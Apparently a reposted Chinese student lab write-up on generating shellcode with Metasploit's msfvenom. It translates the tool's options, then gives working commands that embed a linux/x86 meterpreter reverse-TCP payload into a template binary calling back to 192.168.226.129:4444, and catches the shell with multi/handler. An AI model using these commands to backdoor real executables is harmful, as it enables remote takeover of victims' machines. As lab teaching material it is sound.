使用MSF生成shellcode


使用MSF生成shellcode

  1. payload和shellcode的區別

Payload是是包含在你用於一次漏洞利用(exploit)中的ShellCode中的主要功能代碼。因為Payload是包含在ShellCode中的,ShellCode是真正的被輸入到存在漏洞的程序中的,並且ShellCode負責把程序的流程最終轉移到你的Payload代碼中。所以對於一個漏洞來說,ShellCode就是一個用於某個漏洞的二進制代碼框架,有了這個框架你可以在這個ShellCode中包含你需要的Payload來做一些事情。

  1. 利用msfvenom生成payload

給個中文版的msfvenom的命令行選項:

Options:
    -p, --payload    <payload>       指定需要使用的payload(攻擊荷載)。如果需要使用自定義的payload,請使用&#039;-&#039;或者stdin指定
    -l, --list       [module_type]   列出指定模塊的所有可用資源. 模塊類型包括: payloads, encoders, nops, all
    -n, --nopsled    <length>        為payload預先指定一個NOP滑動長度
    -f, --format     <format>        指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式列表)
    -e, --encoder    [encoder]       指定需要使用的encoder(編碼器)
    -a, --arch       <architecture>  指定payload的目標架構
        --platform   <platform>      指定payload的目標平台
    -s, --space      <length>        設定有效攻擊荷載的最大長度
    -b, --bad-chars  <list>          設定規避字符集,比如: &#039;\x00\xff&#039;
    -i, --iterations <count>         指定payload的編碼次數
    -c, --add-code   <path>          指定一個附加的win32 shellcode文件
    -x, --template   <path>          指定一個自定義的可執行文件作為模板
    -k, --keep                       保護模板程序的動作,注入的payload作為一個新的進程運行
        --payload-options            列舉payload的標准選項
    -o, --out   <path>               保存payload
    -v, --var-name <name>            指定一個自定義的變量,以確定輸出格式
        --shellest                   最小化生成payload
    -h, --help                       查看幫助選項
        --help-formats               查看msf支持的輸出格式列表

首先我們用到的第一個選項是-l,查看所有msf可用的payload列表。里面有526種payload,我們需要的payload功能是獲取反彈連接shell

想要找到可用的payload首先要知道靶機的版本。在網上找方法查了一下,我開的另外一台kali靶機是64位。對應linux64位可用的payload有這些。

image

根據這些payload的功能描述,找出我們需要的payload,使用-p指定。給大家翻譯了一下這些描述啥意思,如下:

- execute an arbitrary command    
執行一個任意命令
- Inject the mettle server payload(staged).Listen to a connection. 
注入mettle server payload,監聽等待一個連接。
- Inject the mettle server payload(staged).Connect back to a connection. 
注入mettle server payload,反彈連接一個連接。
- run the meterpreter /Mettle server payload (stageless) 
運行meterpreter或者Mettle server payload
- spawn a command shell.Listen to a connection.   
產生一個shell,等待連接。
- spawn a command shell.Connect back to a connection. 
產生一個shell,反彈連接一個連接。
- Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
在一個隨機端口監聽一個連接,並產生一個shell。
- Spawn a shell on an established connection
在已經存在的連接上產生一個shell
- Connect back to attacker and spawn a command shell
反彈連接攻擊者,並產生一個shell。

很顯然我們選擇最后一個,linux/x64/shell_reverse_tcp.

選定了payload,我們需要給它寫一些什么參數呢?用這個指令查看

msfvenom -p windows/meterpreter/reverse_tcp --payload-options

image

基礎參數就兩個LHOST和LPORT。跟在payloa后面設置一下就可以了。

選好了payload,接下來我們-f選payload的輸出格式。用這個指令可以查看payload有哪些輸出格式。

msfvenom --help-formats

發現有很多:
image

我們的目標是注入到pwn1里去,當然選擇ELF格式了!

還可以用-e選擇編碼器和-i迭代編碼的次數。用這個指令查看可用的編碼方式。

msfvenom -l encoders

但ELF文件的編碼方式應該是機器無關的,不用選這個選項。

最后呢,當然是要用-x參數指定我們的模板pwn1.payload(shellcode)就寫入到pwn1這個可執行文件中。

所以,最終我們的指令是

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf -o pwn2

然后把我們毒化的pwn2,復制到靶機里。
打開攻擊方的msfconsole,加載exploit/multi/handler模塊,設置參數,最后一個exploit指令!攻擊!

但是一切似乎不如人意,我在靶機上運行了pwn2,控制機沒有任何反應……

然后又在網上找了這篇文章msfvenom生成各類Payload命令,里面說linux里指令要這樣寫

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

對比之后,我意識到,雖然linux系統是64位,但pwn1是個32位程序啊!所以還是用x86下面的payload。

最終的指令是這樣的:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf > pwn3

再懷着忐忑和激動的心情去測試了一下pwn3,就發現成功了!

image

image

做了一天才成功,找了很多亂七八糟的資料,主要有用的參考資料如下:

msfvenom參數詳解

Meatsploit Framework msfvenom使用簡介

生成自己的Alphanumeric/Printable shellcode

msfvenom生成各類Payload命令


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM